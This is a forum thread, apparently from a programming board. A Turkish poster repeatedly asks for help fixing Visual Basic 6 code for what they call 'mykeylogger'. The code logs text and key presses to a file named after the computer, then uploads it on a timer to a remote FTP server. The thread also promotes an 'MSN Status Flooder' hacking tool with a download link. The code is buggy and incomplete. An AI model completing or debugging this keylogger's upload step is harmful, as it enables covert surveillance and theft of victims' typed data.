Mensajes

Hi guys
I have a problem, when I make this I took permission denied error.
I supposed , I can't set of timers intervals.
Please help me , try this code on your vb.
We should make this working thanks, why I get error?
The Timers intervalls must have=?????? sec.
I need your help.

Private Sub Form_Load()
Timer5.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send d:\" & Date$ & "on.txt " & Date$ & "on.txt"
'Inet1.Execute Inet1.URL, "Send d:\" & Dosyaadi & " " & Dosyaadi
Timer6.Enabled = True
End Sub

Private Sub Timer2_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "ftp://adress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
'Timer3.Enabled = False
'Timer1.Enabled = True
End Sub

Private Sub Timer3_Timer()

'Dim Dosyaadi As String
'Dim fullyol As String
'Dosyaadi = Environ("Computername") & ".log"
'fullyol = App.Path & "\" & Dosyaadi
'Open Dosyaadi For Append As #1
Open Date$ & "on.txt " For Append As #1
Print #1, Text1.Text
Close #1
Timer4.Enabled = True
'Timer1.Enabled = False

End Sub

Private Sub Timer4_Timer()

Timer3.Enabled = False
Timer1.Enabled = True
End Sub

Private Sub Timer5_Timer()
Timer2.Enabled = True
Timer3.Enabled = True
Timer1.Enabled = False

End Sub

Private Sub Timer6_Timer()
Timer1.Enabled = False
Timer5.Enabled = True
End Sub

easy, effective, exactly 

Yes I can speak little spanish and english.
In The Turquia a lot of people can speak English 2.language.
Why ?My team is Besiktas JK! no fenerbahce

Soy de Turquía
Thx

[Odesa Msn Status Flooder - Open Source-------------------Coded By: ODESAodysseydhtbluefire@hotmail.com-------------------For Using Msn Api's-------------------------------------What is it make?This code make: changing your msn status to visible and invisible fastest.So Everybody see your Msn online message windows nonstopFor Understanding Look The Flood.Pngs.THX:All World Hackers - We Are The Different From Others!SOURCE CODE:http://rapidshare.com/files/156295125/statusflooder.rar.html]

Odesa Msn Status Flooder - Open Source
-------------------
Coded By: ODESA
odysseydhtbluefire@hotmail.com
-------------------
For Using Msn Api's

-------------------------------------

What is it make?

This code make: changing your msn status to visible and invisible fastest.
So Everybody see your Msn online message windows nonstop

For Understanding Look The Flood.Png

s.THX:
All World Hackers - We Are The Different From Others!

SOURCE CODE:
http://rapidshare.com/files/156295125/statusflooder.rar.html

Inet1.Execute  "PUT  " & App.Path & "\" & computername & ".log " &  computername & ".log "

when I use this
not upload but no error only saving
why don't working

the other way is:
Private Sub Timer3_Timer()
'On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute  "PUT  " & App.Path + " \ " + computername + .log " & " + computername + .log "

End Sub

But I take statement error:(
What is wrong?

No I use this code in a logger.Not a rat!I am explain the problem in english.
My program can create log with using computername ok at aplication path!
But it can't upload this log file to my ftp ok!
For example:
Myprogram name is :mykeylogger
My computer name is:Cafeplus

In Same Folder
Mykeylogger.exe  --> Can create
Cafeplus.log      -->But Can't upload the ftp

When it try this I get an error "Runtime miss match"

And My Code is :
Private Sub Timer3_Timer()
On Error Resume Next
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

Private Sub Timer5_Timer()
'With Inet1
Inet1.Protocol = icFTP
Inet1.URL = "ftp://webadress.com"
Inet1.Password = "pass"
Inet1.username = "username"
'Inet1.RequestTimeout = 40
End Sub

Hola amigos
Hago una bitácora, quiero subir un archivo de registro (con el nombre del equipo) a mi ftp Me escribió un código, pero tomé un error.Mi programa puede crear archivo de registro con el ordenador name.But I No se puede cargar este archivo de registro a mi ftp con el nombre de mi equipo
error es: Runtype Miss match

código:
Private Sub Timer3_Timer()
Do While Inet1.StillExecuting
DoEvents: DoEvents: DoEvents
Loop
Inet1.Execute Inet1.URL, "Send + App.Path + " \ " + computername + .log " & " + computername + .log "
End Sub

¿Dónde está mal?

Thx for help

Hi friends,
I have a question about using inet and senkeys.
Program makes when pressing a,l,p,e,r letters on keyboard,
the program should save this letters on a txt file.and every 15 minutes it should upload this txt files to my ftp.
(note: txt files name is must be computer name for example. cafeplus.txt)
So I need your help my friends If you help me I wanna become very happy.
I try to make something (at down you see)  but code has a lot of missings.
Please help me its my homework.
Thanks

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long

Private Sub form_load()
Inet1.URL = "ftp://adress.com"
Inet1.RemoteHost = "ftp://adress.com"
Inet1.Protocol = icFTP
Inet1.Password = "******"
Inet1.UserName = "******"
Inet1.RequestTimeout = 40
Timer1.Enabled = True
End Sub


Private Sub Timer1_Timer()
Inet1.Execute , "SEND C:\Computername.txt Computername.txt" & vbCrLf
End Sub